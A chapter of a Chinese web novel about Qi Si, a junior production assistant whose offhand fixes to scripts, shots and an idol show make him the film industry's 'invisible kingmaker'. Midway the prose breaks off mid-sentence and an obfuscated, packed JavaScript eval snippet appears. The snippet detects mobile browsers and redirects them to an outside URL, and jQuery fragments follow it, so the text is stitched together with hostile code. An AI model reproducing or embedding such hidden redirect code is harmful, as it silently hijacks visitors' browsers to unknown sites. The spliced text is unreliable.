运营总监回想起最近一个月，平台内部流传的那些八卦——某个“不露脸的顾问”随手改了几句台词，结果台词被全网情侣当成暗号；某个“路过的助理”按了两下设备，拍出一个封神镜头。


    “把所有有他名字的项目拉出来。”运营总监沉声说，“做一份对比分析。”


    ……


    同一栋楼的另一层，投资部会议室。


    投影幕布上，一张张项目表格被翻过去，红绿箭头此起彼伏。


    “这几个原本被我们内部评为‘高风险’的项目，最近三个月全部逆袭。”投资总监用激光笔点着屏幕，“《甜宠XX》从B级升到S-级，《逆风少年》从C级升到A级，《都市边角料》从边缘项目变成了口碑黑马。”


    “共同点？”董事问。


    投资总监点开一页汇总表，红色字体一行行跳出来——


    【共同顾问：齐司】


    【共同特征：宿主参与时间点均为项目困境期】


    【参与形式：随手改剧本/临时设备调整/挂名顾问】


    “我们是不是……”董事犹豫了一下，“应该多给他一点项目？”


    “已经在排队了。”投资总监苦笑，“现在圈里都在说，他是‘风口捕捉体质’。”


    ……


    与此同时，某咖啡馆二楼。


    落地窗外是车流和霓虹，室内灯光压得很低，桌上的小台灯打在咖啡杯上，琥珀色的反光晃动。


    齐司坐在角落，面前摊着一本分场剧本，旁边放着一杯已经凉了的美式。


    对面坐着的是一位刚刚拿了奖的青年导演，头发乱糟糟的，黑眼圈很重，手边的iPad上是一个还没成形的分镜表。


    “我知道你忙。”青年导演声音有点哑，“但你随便帮我看一眼就行，我这个新项目，平台那边一直不太看好，说题材冷门、节奏慢。”


    “我只是来拿回我的工资卡。”齐司提醒，“上次你借去付场地费。”


    “工资卡等会儿还你。”青年导演立刻把分场表推过去，“你就看个大概，随便提两句意见。”


    系统在耳边冷静播报：


    【当前状态：被动参与。】


    【项目状态：投资方准备收缩预算，预期为烂尾项目。】


    【宿主参与后预计结果：全线逆袭，成为爆款。】


    齐司翻了两页，发现这是个讲小城市剧团的现实题材，节奏确实慢，台词也有点散。


    “你这戏，前两集太闷了。”他合上本子，“观众撑不到第三集。”


    青年导演苦笑：“我知道，可是我不想乱加狗血。”


    “不是加狗血。”齐司想了想，“你把第三集那个‘剧团被拆’的桥段提前到第一集结尾。让观众一上来就知道，这帮人马上要没地方排练了。”


    青年导演愣住：“那我后面怎么办？”


    “后面慢慢讲他们怎么撑。”齐司说，“你现在的问题是，观众不知道他们在撑什么。”


    他抬手在分场表上随手画了两条线，把几个场次顺序调了调，又在旁边写了几个字：“剪辑点提前”“留一秒空镜”“用环境声压对白”。


    “就这样？”青年导演瞪大眼睛。


    “就这样。”齐司把工资卡拿回来，站起身，“我下班了。”


    青年导演追上来：“那顾问费——”


    “不用。”齐司头也不回。


    系统淡定地响起：


    【已完成：路过参与烂尾投资项目。】


    【结果：结构节奏被重新梳理，情绪起伏更明显。】


    【预计：上线后口碑发酵，长尾播放，成为年度现实题材爆款。】


    ……


    三周后。


    微博热搜榜。


    #你别这样# 排名第3。


    #我以为你会开心# 排名第5。


    #小城市剧团有多难# 排名第7。


    #逆风少年踢门名场面# 排名第9。


    四个话题下面，几乎都有人在评论区提到同一个名字——


    【听说这几个戏背后都有一个神秘顾问，叫齐司？】


    【业内朋友说，他就是隐形庄家。】


    【资本都在排队求他点头。】


    【他本人好像只是个小助理？】


    舆论自动往一个方向拧，所有关于他的评价都出奇一致——专业、低调、不炒作、不露脸。


    【宿主未主动发声。】


    【宿主未主动营销。】


    【热度来源：项目成功自然外溢。】


    系统一条条刷在他眼前。


    齐司坐在出租屋的书桌前，台灯光打在键盘上，屏幕上是一个新项目的粗剪版，时间轴上密密麻麻的剪辑点。


    他本来只是来帮同事看一眼粗剪，顺便找几个穿帮点，结果导演听说他在，就把整部片子甩给他：“你随便提提意见。”


    他看了十分钟，顺手把两个镜头的位置换了一下，又把一个多余的空镜删掉。


    剪辑软件的波形图在屏幕下方起伏，画面节奏突然顺畅起来，原本拖沓的情绪一下子被收紧。


    系统提示：


    【已完成：临时剪辑。】


    【结果：关键情绪段落节奏优化，镜头封神概率+400%。】


    【行业共识进度：73%。】


    【当前业内评价：只要齐司参与，项目就一定成。】


    ……


    某大型影视公司高层会议室。


    长桌一端，几位董事坐在一起，桌上摊着一叠叠项目表和艺人名单。


    “简单说一下。”总经理翻开一份报告，“我们最近半年所有ROI超过预期的项目，有一个共同点——”


    投影幕布上跳出一行大字：


    【齐司：参与项目ROI平均提升300%。】


    “他现在是什么身份？”董事问。


    “名义上是编务、现场助理、偶尔挂名顾问。”总经理说，“但实际上，所有项目的关键节点——剧本调整、现场机位、剪辑节奏、营销节点——只要他碰一下，数据就会往上跳。”


    “资本那边怎么说？”


    “已经有三家基金主动找上门，表示愿意跟投所有有他名字的项目。”总经理翻到下一页，“他们的原话是——‘我们不看剧本，只看有没有齐司’。”


    会议室里安静了几秒。


    “那我们……”董事缓缓开口，“是不是应该给他一个更高的职位？”


    “我们试过。”总经理苦笑，“给他发了三次晋升通知，他都没点开。”


    “那加钱？”


    “加了，他以为是绩效。”


    会议室里一阵低笑。


    “那就这样。”董事敲了敲桌子，“以后公司所有重点项目，先问一句——‘能不能把齐司拉进来’。拉不进来的，降一级评估。”


    ……


    与此同时，某综艺录制后台走廊。


    灯光打得很亮，天花板上的灯带一排排延伸到尽头，地面是刚擦过的黑色地胶，反光里能看到人影晃动。


    明星们在各自休息室门口来回走动，妆发师推着化妆车穿梭，助理抱着衣服和文件夹，场务拖着电缆从人缝里挤过去。


    齐司靠在一面墙上，手里拿着一杯纸质咖啡，眼神有点空。


    他本来只是来帮朋友递个U盘，结果被节目组认出来：“你就是齐司？快进来坐！”


    不到十分钟，走廊里风向就变了。


    一个刚出道的小花悄悄凑过来，眼睛亮晶晶的：“齐老师，您能不能帮我看一下待会儿那个VCR？我总觉得自己说话很尬……”


    一个顶流男明星从经纪人身后探出头，笑得很谦逊：“齐哥，我新戏下周开机，能不能请您帮我看看人物小传？”


    一个老牌导演从另一头走来，手里还拿着台本：“齐老师，我这个综艺的环节设计总觉得差点意思，您要不要挂个创意顾问？”


    制片人干脆把人堵在原地：“齐老师，我们公司新立了一个项目，投资已经到位，就差您点个头。”


    走廊里的空气像是突然被抽走了一半，所有人的视线都不约而同地落在他身上。


    系统在耳边冷静播报：


    【当前身份：项目中隐藏最大作用的人。】


    【行业趋势：资本、高层、导演、爆款团队自动围绕宿主转动。】


    【宿主主观意愿：下班。】


    【客观现实：无法下班。】


    齐司捏着纸杯，觉得咖啡有点凉。


    “我只是来送个U盘。”他重复了一遍。


    “那顺便……”制片人笑得极为真诚，“顺便帮我们看一眼企划案？”


    “顺便帮我看一眼人物小传？”


    “顺便帮我看一眼VCR？”


    “顺便挂个名？”


    “顺便——”


    声音一浪高过一浪。


    后台监控室里，导播看着走廊监控画面，忍不住对旁边的编导说：“你发现没有？现在谁能把齐司请到现场，谁就自带一个爆点。”


    编导点点头：“昨天艺人群里都在传，说只要跟他合个影，热搜就会自己来。”


    ……


    微博热搜榜更新。


    #齐司走廊合影# 排名第2。


    #齐司看了一眼VCR# 排名第4。


    #齐司说“还行”# 排名第6。


    热搜词条下面，营销号们自动开始编故事：


    【据内部人士透露，某顶流在录制现场向齐司请教表演，被一句话点醒，当场重拍VCR，效果惊艳。】


    【业内共识：只要齐司参与，项目就一定成。】


    【资本排队送钱，只为求他点头。】


    评论区里，粉丝和路人吵成一片，但有一点出奇一致——没有人骂他，所有舆论都在往“专业”“低调”“不炒作”这几个标签上靠。


    【舆论自动站在宿主这边。】


    【热点自动围绕宿主发酵。】


    【宿主未主动做任何事。】


    系统的提示一条接一条。


    ……


    某家投资机构的内部群聊。


    【风控部-老王】：新项目《小城市剧团》，题材冷门，按理说不该投这么多。


    【投资部-小李】：但有齐司。


    【风控部-老王】：那就行。


    【策略部-阿陈】：平台那边说了，以后有他名字的项目，默认给首页推荐位。


    【合伙人-老周】：我们是不是该考虑，单独设一个“齐司池子”？专门投他参与的项目。


    【投资部-小李】：已经在做了，名字都想好了——“隐形庄家计划”。


    ……


    深夜。


    齐司回到出租屋，灯光昏黄，窗外是远处楼顶广告牌的闪烁光点。


    他把手机丢在桌上，整个人往椅背上一靠。


    手机屏幕亮了一下，系统的界面自动弹出。


    【当前世界进度：92%。】


    【宿主身份：隐形庄家（行业趋势已默认围绕宿主参与项目进行调整）。】


    【行业共识：只要齐司参与，项目就一定成。】


    【宿主主观认知：仍认为自己是编外小助理/后台编务。】


    【任务状态：进行中。】


    齐司看着那行“隐形庄家”，眉头微微皱了一下。


    “隐形什么？”他嘀咕了一句。


    系统安静了一会儿，像是在刻意回避解释，只淡淡地说：


    【你可以继续下班。】


    齐司“哦”了一声，把手机扣在桌面上，椅子一转，整个人滑到书桌边缘，仰头闭眼。


    他是真的打算继续下班。


    桌上的手机震了一下，又震了一下，像是不死心。


    他没动。


    第三下震动拖得很长，伴着“叮——”一声微信电话。


    齐司皱眉，伸手摸过来接起：“喂？”


    那头背景一片嘈杂，像是在片场，灯光车的嗡鸣声、对讲机的“咔嚓”声混在一起。


    “齐哥！你睡了吗？！”是今天白天那个新晋小花的经纪人，声音都快劈叉了，“救命啊，咱们这边演员对词对不明白，导演刚刚摔本子了！”


    齐司：“……我不是场记。”


    “我知道我知道，你是编务！”经纪人语速飞快，“但你对白感太好了，今天你随口改的那两句，导演说比原本写的强十倍！你能不能帮忙看一眼第十七场？就一页纸！我给你发照片！”


    微信“叮叮叮”连着几声，图片一张张飞过来。


    齐司本来想拒绝，视线却不由自主扫过去。


    手机屏幕上，是一页打印出来被红笔圈得乱七八糟的剧本照片，灯光打在纸面上反光，字有点糊，但大致还能看清。


    场景：女主在医院走廊质问男主。


    台词密密麻麻，情绪标注写着“崩溃”“怒吼”“泪崩”。


    齐司看了几秒，眉心更皱了：“她为什么要在这儿吼？”


    那头愣了一下：“啊？”


    “你这场前一场刚写她在病房里跟妈妈说‘我会撑住的’，下一场就对男主破口大骂，”齐司懒洋洋地说，“情绪断了。她不是在骂他，她是在怕。”


    经纪人那边明显把电话外放了，背景里有人压低声音：“快录快录。”


    “你把‘你为什么不来’那句删了，”齐司随口道，“换成‘你怎么现在才来’，语气别写成怒吼，写成那种——她嘴上在怪他，眼睛却不敢看他。”


    他手指在空气里比划了一下，像是在给自己找感觉：“前半段台词都减掉，留三句就够了。‘你知道我等了多久吗’、‘我以为你不会来了’、‘我妈刚刚问起你’。”


    “后面加一句特别轻的：‘她还记得你。’”


    电话那头安静了两秒，只有走廊里灯管嗡嗡的电流声透过来。


    然后是压不住的吸气声和低声爆粗：“……操，这也太好哭了。”


    “齐哥你等一下！”经纪人声音一下子拔高，“我开视频，你跟我们说一遍！”


    “不用，我——”


    视频已经打过来了。


    画面一接通，就是医院实景搭建的走廊：冷白色的顶灯一排排延伸过去，地面打了蜡，反光里是一条细长的灯带。群演穿着病号服、护士服坐在长椅上刷手机，远处机位架在轨道上，摄影师正蹲在监视器前调色温。


    女主穿着浅色风衣，妆发组刚刚给她补完妆，眼下的泪痕还没干，正拿着剧本在原地来回踱步，脸上写满了“我不行了”。


    导演坐在监视器后面，黑T恤，棒球帽反戴，刚摔过的剧本还摊在脚边。


    “齐司？”导演探过来，眼睛一下亮了，“你刚刚说的那几句，能再说一遍吗？”


    齐司：“……”


    他看了眼时间，晚上十一点四十二。


    “我明天还要上班。”他提醒。


    “我们也想下班。”导演苦笑，“就一页，救命。”


    齐司叹了口气：“行，把那页纸翻过来，我说你们记。”


    经纪人立刻找人拿笔，女主也凑过来，灯光师顺手把一盏小补光灯转了个方向，暖黄的光打在纸面上，把原本冰冷的走廊照出一点柔和的色温。


    齐司靠在椅子上，慢慢说：“第一句，‘你知道我等了多久吗’——别用质问的语气，用那种……你自己都不确定在问谁的感觉。”


    “第二句，‘我以为你不会来了’——这句说完，停两秒，看他一下，再移开视线。”


    “第三句，‘我妈刚刚问起你’——眼睛别红，声音别抖，正常说。”


    他顿了顿：“最后那句‘她还记得你’，你别看他，盯着他身后那个空的病房门说。”


    视频那头，女主握着笔，手指都在抖，飞快地记下每一个停顿。


    导演突然站起来：“走走走，直接试一条。”


    机位重新归位，轨道车轻轻滑回起点，摄影师调了个更贴近日常的色温，把原本偏冷的灯光往中性拉了一点，监视器上的画面瞬间柔和。


    场记打板：“第十七场一条，开始！”


    走廊尽头，男主背着光站在门口，女主从画外冲进来，脚步声在地面上“哒哒”回响。


    她张了张嘴，原本写好的那段怒吼台词被她硬生生咽回去，只剩下呼吸有点乱。


    “你知道我等了多久吗……”


    声音很轻，尾音往下坠，像是刚刚从病房里出来，还没从那种压抑里缓过来。


    摄影机缓慢推近，镜头里她的睫毛微微颤了一下。


    “我以为你不会来了。”


    她抬眼看男主，眼神里有一瞬间的怯，然后很快移开，落在他肩膀后面的某个点上。


    “我妈刚刚问起你。”


    这句说得太平静了，平静到让人心里发紧。


    走廊里的群演都不自觉停下动作，盯着她。


    “她还记得你。”


    最后这句，她看着男主身后那扇紧闭的病房门，嘴角甚至勾了一点点笑，像是在安慰谁。


    “咔！”


    导演猛地站起来，椅子在地上拖出刺耳的声音：“好！就这样！”


    监视器前，摄影师把刚刚那条回放了一遍，画面里女主的情绪像被一根细线串起来，从压抑到松动，一点点泄出来，最后落在那句轻得几乎听不见的“她还记得你”上。


    经纪人已经红了眼眶，捂着嘴：“这台词……完了，明天肯定全网都在用。”


    “什么全网？”导演眼睛亮得吓人，“这就是我们这部剧的情绪锚点！预告片直接用这段！”


    他一抬头，对着手机那头：“齐司，你还有别的想法吗？”


    “没有了。”齐司打了个哈欠，“你们拍吧，我睡觉了。”


    他挂断电话，把手机丢回桌上。


    系统界面自动弹出来，像是后台数据面板：


    【剧集项目《人间病房》：情绪记忆点已生成。】


    【预测热词：#她还记得你#、#等了多久#、#别对我怒吼式关心#。】


    【传播路径：短视频平台二创→情感号文案→综艺引用→广告植入。】


    【项目成功率：由原本的48%上调至97%。】


    齐司没看，已经半睡过去。


    ……


    第二天一早。


    棚内摄影棚，A机突然黑屏。


    “卡机了卡机了！”摄影助理一边拍机身一边喊，“刚刚那条全跳帧！”


    监视器上，刚刚拍完的那场动作戏画面一顿一顿，演员的动作被切成一格一格的残影，曝光还莫名其妙地飘，时亮时暗。


    导演脸色瞬间黑了：“这条是爆破，不能重来啊！”


    道具组那边刚刚把整面假墙炸掉，碎石还在地上冒烟，灯光组忙着灭火，现场一片混乱。


    “备份呢？！”制片人冲过来，“你们不是双机位吗？”


    B机那边传来一句更绝望的：“B机刚刚没开录……”


    全场空气瞬间凝固。


    齐司抱着一摞道具文件夹，从摄影棚侧门路过，听到“没开录”三个字，脚步一顿。


    他本来是来送修订过的通告单的。


    “你们怎么了？”他站在门口问了一句。


    所有人齐刷刷看向他。


    导演像是抓到救命稻草：“齐司，你会不会弄这个？”他指着那台黑屏的A机，“刚刚那条要是没了，我们今天就别收工了。”


    “我不会。”齐司很诚实，“我只是编务。”


    “你会的！”制片人冲过来，一把把他往机位那边推，“你上次不是帮后期调过一个素材吗？你对机器有感觉！”


    “那是剪辑软件，不是摄影机。”齐司被推到机身旁，无奈伸手按了下电源键。


    摄影机嗡的一声亮了，屏幕上跳出一串英文错误代码。


    摄影助理在旁边手忙脚乱地翻说明书：“这个代码是……是……卡数据错误？”


    “你们有备份卡吗？”齐司问。


    “有，但是那条在这张卡上。”摄影助理快哭了，“刚刚爆破的时候我怕震到机子，手就扶了一下，可能碰到什么了……”


    齐司看着那串错误代码，随手按了两下菜单键，又点了下“恢复缓存”。


    屏幕一闪，刚刚那条爆破画面突然出现在回放列表里。


    “出来了出来了！”摄影助理惊叫，“但它显示损坏！”


    “放一下。”齐司说。


    监视器连上，画面开始播放。


    所有人屏住呼吸。


    爆破的瞬间，画面确实跳了一下，但并不是传统意义上的“坏掉”，而是帧率突然拉高，像是慢动作和正常速度之间被硬生生插入了一段极短的高速摄影。


    火光炸开的那一刻，碎石飞溅，男主从烟尘里冲出来，原本应该是一气呵成的动作，现在被那段“跳帧”拉成了一种诡异的节奏——先是极快的一瞬间爆闪，然后突然慢下来，火光在他脸上一帧一帧划过，眼神被定格在一个极具冲击力的角度。


    曝光也在那一瞬间飙高，整个画面被白光吞没，接着又迅速回落，仿佛从一片空白里重新显影出男主的轮廓。


    导演整个人往前凑，眼睛死死盯着屏幕：“……操，这太帅了。”


    摄影师反应过来，激动得声音都变了：“这不是损坏，这是……这是机子在爆破冲击下自动切换了缓存模式！等于给我们多了一段伪高速！”


    “你们刚刚的机位没动吧？”齐司问。


    “没动！”摄影助理连连点头。


    “那就把这条当特写用，”齐司随口说，“前后正常速度的镜头你们还有，剪辑的时候把这段跳帧插中间，做个节奏断点。”


    他指了指监视器上的那一帧：“这一帧停两秒，当海报用。”


    监视器上，男主从火光中走出来，半张脸被烧得通红，眼神却冷得像冰，火星在他身后炸开，形成一个模糊的光环。


    制片人已经能想象出预告片了：“这就是我们电影的标志镜头！”


    “对，预告片先用正常速度铺垫，”导演脑子飞快转起来，“到爆破那一刻突然白屏一闪，接着就是这段跳帧慢动作，配鼓点——砰、砰、砰——最后定格在这帧，打片名！”


    他一拍齐司的肩：“你又救了我们一命！”


    “我只是按了两下恢复键。”齐司强调。


    系统界面在他视野边缘弹出一行小字：


    【电影项目《灰烬之城》：标志性镜头已生成。】


    【预测标签：#火光出场#、#跳帧神镜头#、#国产动作片新审美#。】


    【项目成功率：由原本的36%上调至95%。】


    ……


    与此同时，城另一头。


    一栋写字楼的二十二层，会议室里灯光冷白，长桌上摆着一摞摞项目企划书，投影幕布上挂着一行醒目的红字：“Q4重点项目风险评估会”。


    几位投资人正对着一份名为《星途偶像2》的企划皱眉。


    “这个项目已经拖了两年了，”一个中年男人翻着资料，“原本的导演跑了，前期投资打了水漂，现在平台还在犹豫要不要继续砸钱。”


    “数据不好看啊，”另一个人点开大屏幕上的曲线图，“前作热度高峰已经过去了，粉丝流失严重，续作风险太大。”


    坐在最前排的资本代表突然抬头：“等等，你们说这个项目最近是不是新加了一个……齐什么的人？”


    “齐司。”旁边的项目经理立刻翻资料，“是平台那边临时塞进来的，说是做编务协调。”


    “齐司？”会议室里安静了一瞬。


    有人打开手机，点进一个内部共享的“行业风向”群，往上翻了几条消息。


    【——听说了吗，《人间病房》昨天那个医院走廊戏，是齐司改的台词。】


    【——《灰烬之城》爆破镜头救回来了，也是他按了两下机子。】


    【——我跟你们说，他就是风口捕捉体质，什么项目只要他沾一下就活。】


    资本代表眯起眼：“确认一下，这个《星途偶像2》里，真有他？”


    项目经理飞快点头：“有的，昨天刚签字，挂在编务那一栏。”


    会议室里的气压瞬间变了。


    刚刚还在说“风险太大”的人立刻换了口风：“其实偶像选秀赛道也不是完全没机会，关键是要找到新的切入口。”


    “对，前作的粉丝基础还在，只是需要一个爆点。”


    “既然齐司参与了，那我们可以考虑追加一部分预算，做全平台联动。”


    资本代表敲了敲桌子：“把这个项目从‘待观察’调到‘重点扶持’。平台那边要是再犹豫，你就把这句话带过去——”


    他顿了顿，一字一顿：“只要齐司参与，项目就一定成。”


    项目经理飞快记下。


    ……


    几天后。


    《星途偶像2》录制现场。


    棚内灯光打得像白天一样亮，舞台中央是一个巨大的LED屏，循环播


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939319|192918||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    放着节目的LOGO。后台走廊里，化妆师推着小推车来回穿梭，练习室门口堆着一双双练舞鞋。


    齐司坐在角落里的小折叠桌前，面前摊着一大堆选手资料表，红笔、蓝笔、荧光笔一排排摆好。


    他的工作很简单：核对选手信息、整理出场顺序、确认每个人的舞台需求有没有漏填。


    他戴着耳机，听着隔壁练习室传来的节拍声，“咚、咚、咚”，像是某种统一的心跳。


    一个男练习生推门进来，头发还在滴汗，妆都花了，手里攥着一张皱巴巴的曲目单：“哥，那个……我能改歌吗？”


    齐司抬眼：“录制前两小时不能改。”


    “我知道，可是我这首歌真的不行。”男生急得直搓手，“原公司给我选的，是那种很老的情歌，我跳不出感觉来。”


    “那你想唱什么？”齐司随口问。


    “我自己写了一首demo，”男生有点不好意思，“就是那种……有点丧，又有点想活下去的感觉。”


    “拿来听。”齐司伸手。


    男生赶紧把手机递过去，点开一个录音文件。


    耳机里传来有点糙的吉他声，男生的声音还带着气音，歌词写得很直白：“我在练习室里数过天花板的裂缝，在凌晨三点想过要不要放弃……”


    旋律不算特别抓耳，但有一种很真诚的笨拙。


    齐司听了半分钟：“这歌不适合你现在这个舞台。”


    男生脸色一白：“那我还是唱原来的？”


    “你把副歌往前提，”齐司说，“前奏砍掉一半，第一句就进‘我在练习室里数过天花板的裂缝’，观众一听就知道你是谁。”


    他拿过一张废纸，随手写了几行：“副歌那句‘我还想再试一次’重复三遍，最后一遍停在‘试’上，别唱完。”


    “你现在的舞台时间是两分钟，对吧？你把桥段删掉，改成清唱那句‘我还想再试一次’，灯光全灭，只打一束顶光。”


    他抬头看男生：“你不是想让人记住你吗？那就别跳舞了，站在那儿唱。”


    男生整个人愣住：“可是……这是偶像节目。”


    “偶像也可以不会跳舞。”齐司说，“但你得让人知道，你是真的在这儿等了很久。”


    男生握着那张纸，手心都是汗：“那……我去跟导演说？”


    “你说是编务建议的。”齐司把资料表往旁边一推，“不行就算了。”


    男生冲出去，像是抓住了救命稻草。


    半小时后，导演、制片人和音乐总监一起出现在齐司桌前。


    “你刚刚给他改的？”导演开门见山。


    “随口说的。”齐司说。


    制片人眼睛亮得吓人：“这个点子太好了！我们这季不就是缺一个‘素人自创曲’的记忆点吗？你这直接给我们做了一个。”


    音乐总监也点头：“副歌往前提，清唱结尾，灯光一灭，观众肯定要疯。”


    导演当机立断：“就按你说的来。以后选手要改歌，先来找你。”


    齐司：“我只是编务。”


    “你是编务总策划。”制片人笑眯眯地给他升了个职，“你坐在这儿，就是我们这节目的灵魂。”


    系统界面悄无声息地刷新：


    【综艺项目《星途偶像2》：核心舞台记忆点已生成。】


    【预测热词：#我还想再试一次#、#不会跳舞的偶像#、#练习室天花板裂缝#。】


    【项目成功率：由原本的22%上调至98%。】


    ……


    几天后，节目第一期上线。


    后台数据大屏上，曲线像被人一把拽起来。


    播放量在上线十分钟后突然陡增，弹幕密密麻麻刷着：


    【这个男生是谁！】


    【我在练习室里数过天花板的裂缝——好懂。】


    【我也还想再试一次。】


    微博热搜榜上，“#我还想再试一次#”从四十几名一路往上窜，二十、十、五，最后稳稳挂在第一。


    同一时间，另一个热搜也悄悄爬上来：“#不会跳舞的偶像#”。


    营销号迅速跟进，剪出那段清唱舞台，配上各种励志文案，转发量一路飙升。


    有人翻出幕后花絮，发现男生在后台说了一句：“是编务哥帮我改的。”


    【编务哥是谁？】


    【节目组求出幕后大佬！】


    【这届编务不简单。】


    舆论自动往一个方向聚拢，所有人都在找那个“编务哥”。


    齐司坐在办公室一角，面前摊着一堆下期的流程表，手机不停震。


    导演：“齐司，你看没看热搜？你改的那段炸了！”


    制片人：“平台那边说了，以后你在我们项目里的署名要往前提。”


    隔壁剧组的制片人：“兄弟，下个剧本你有空帮我看两页吗？随便改改就行。”


    某电影导演：“听说你对镜头节奏很有感觉？我有个动作戏想让你提个意见。”


    几个投资人的微信头像在聊天列表里排成一列：


    【听说你最近在做《星途偶像2》？我们这边有个项目想请你挂个顾问。】


    【费用好说，你只要在合同上签个名字就行。】


    【我们不干涉你创作，你怎么舒服怎么来。】


    【齐老师，有没有兴趣做我们公司项目的“风控顾问”？就是你看着不顺眼的，我们就不投。】


    齐司看着那一串“老师”“顾问”，头有点疼。


    他点开系统界面：“你是不是干了什么？”


    【没有。】系统很无辜，【只是行业趋势默认围绕你的参与项目进行调整。】


    “他们为什么都来找我？”齐司按着太阳穴，“我只是想下班。”


    【你可以继续下班。】系统重复了一遍。


    “那他们——”


    【他们会自动排队，把资源、项目、预算、艺人送到你面前。】系统语气平静，【你只需要做你认为的‘顺手帮忙’即可。】


    ……


    几周后。


    行业内部逐渐形成了一条不成文的共识。


    在各种饭局、会议、群聊里，一个名字被反复提起。


    “你们那个新剧，齐司参与了吗？”


    “没有，他太忙了。”


    “那风险有点大啊。”


    “我们这个电影本来快黄了，后来平台塞了个编务叫齐司，结果你们看，现在预售直接翻了三倍。”


    “综艺那边更夸张，《星途偶像2》原本没人看好，现在全靠他随手改的那段清唱撑起来。”


    “我跟你们说，他就是隐形庄家。风口在哪儿，他一碰就成。”


    资本开始排队送钱。


    某基金负责人在内部会上拍板：“以后项目立项，优先看两个条件——题材和齐司。”


    “什么意思？”


    “题材要有市场，齐司要有参与。只要他在，我们就敢砸。”


    平台高层在周会上说：“我们要主动跟齐司保持合作关系，他在哪儿，我们的资源就往哪儿倾斜。”


    导演们在私下聊天：


    “我新片想请他挂个‘创意顾问’。”


    “你排得上号吗？我已经等了三个月了。”


    明星们在后台走廊里低声打听：


    “你们剧组那个齐老师，是不是很难约？”


    “他不是老师，他说他是编务。”


    “那更可怕了，连编务都这么强。”


    ……


    而齐司，仍然每天准点下班。


    他会在片场角落帮忙改一页剧本，让一个原本用力过猛的哭戏变成全网共情的“她还记得你”。


    会在摄影棚里按两下设备，让一条本该报废的爆破镜头变成电影的标志画面。


    会在综艺后台随口给练习生改几句歌词，让一个原本要被淘汰的素人一夜之间成为“不会跳舞的偶像”代名词。


    会在路过某个被所有人判死刑的烂尾项目时，被人硬拉着签个“编务协调”的名字，然后看着那个项目莫名其妙地从谷底爬到顶峰。


    舆论自动站在他这边。


    当有人质疑《星途偶像2》炒情绪时，评论区里自发有人搬出那段清唱，说：“这不是炒，这是我们自己的故事。”


    当某电影被骂“爆破戏抄袭国外大片”时，有人截出那段跳帧神镜头，说：“你见过哪部片子敢把损坏素材当主镜头用？”


    当某剧被黑“台词矫情”时，#她还记得你#底下全是观众自己的故事，没人再提“矫情”两个字。


    行业里逐渐形成共识：只要齐司参与，项目就一定成。


    他成了所有人眼里的“隐形庄家”。


    资本围着他转，导演围着他转，明星围着他转，项目、剧本、镜头、营销节点像被一只无形的手推着，自动在他身边排队。


    而他本人，只是在每个项目的角落里，签着“编务”“协调”“顾问（未署名）”之类的小字，准点打卡，准点下班。


    系统界面安静地悬在他视野边缘：


    【当前世界进度：96%。】


    【宿主身份：隐形庄家（行业趋势已默认围绕宿主参与项目进行调整）。】


    【行业共识：只要齐司参与，项目就一定成。】


    【宿主主观认知：仍认为自己是编外小助理/后台编务。】


    【任务状态：进行中。】


    片场里，顶光压得人眼窝发黑，侧补光打在女主脸上，粉底和颈线之间有一条细微的色差。监视器前，导演骂到嗓子哑：“这场哭戏怎么都不对味儿，台词太假了！”


    齐司缩在角落的小折叠椅上，膝盖上摊着一摞打印好的剧本页，左上角用订书机随手一钉，钉歪了。


    副导演抱着耳机冲过来：“小齐，刚才那页剧本你不是帮忙改了两句吗？导演说，先拍你改的那版。”


    “我就顺手调了个语序。”齐司抬头，眼神茫然，“你们随便用原来的就行。”


    话音刚落，场记已经把他改过的那页抽出来，塞进女主手里：“用这个！导演说先试试新词儿！”


    那页纸上，原本一大段堆砌情绪的台词，被齐司用红笔划掉了三分之二，只剩几句短句——


    “我不是不懂事，我只是怕。”


    “你说没关系，可你眼睛在躲。”


    “你不爱我了，就直说。”


    女主站在机位前，灯光师重新调了下色温，从偏冷的5600K往下拉到4800K，暖了一点。轨道车压在地上的铁轨轻轻一震，摄影师压低机位，从她肩膀后慢慢推近。


    “Action——”


    齐司低头继续整理后面几场的场记表，耳边是女主哽住的呼吸声。她没再用之前那种“学院派哭腔”，只是眼眶慢慢红了，鼻翼轻轻发抖，声音发干：


    “我不是不懂事，我只是怕。”


    现场一下子安静下来，连灯光架上的散热风扇声都显得格外大。摄影机的红灯亮着，画面里，她眼睛里那一点水光刚好被侧补光勾出一圈亮。


    “Cut——”导演盯着监视器，愣了两秒，猛地站起来，“就这个！再来一条备份，情绪再收一点！”


    第二条更干净，哭声压在喉咙里，只在说“你不爱我了，就直说”的时候，声线轻微破了一下。


    这条一上线，剪辑师几乎没动，就按原机位顺剪。预告片放出后，这三句台词被单独剪成一个十五秒的竖屏短视频，底下加了浅灰色字幕和轻音乐。


    首发平台首页，竖屏窗口里女主的脸占满画面，眼睛发红，字幕一行一行跳出来。弹幕从右侧刷过去：


    “这台词谁写的？”


    “怎么突然这么真实？”


    “‘你说没关系，可你眼睛在躲’——戳死我了。”


    热搜榜右侧数据曲线像被人拎了一把，从平缓的灰线突然竖直往上窜，“#你说没关系可你眼睛在躲#”在十分钟内从第27名窜到第3名。


    话题词条下，营销号自动开始扒幕后：“据说是剧组一个编务小哥现场改的台词？”、“匿名编务临时救场，成就年度爆款情绪台词”。


    齐司坐在公司茶水间，纸杯里的咖啡泡沫已经塌了，手机屏幕上弹出一条条艾特，他手指划了两下，把所有提醒关掉，顺手把手机扣在桌上。


    “怎么又有人在群里问你台词？”同组的小编务端着速溶咖啡路过，“你不是就帮忙调了一页吗？”


    “可能是因为那页纸用的是粉色打印纸。”齐司认真分析，“显眼。”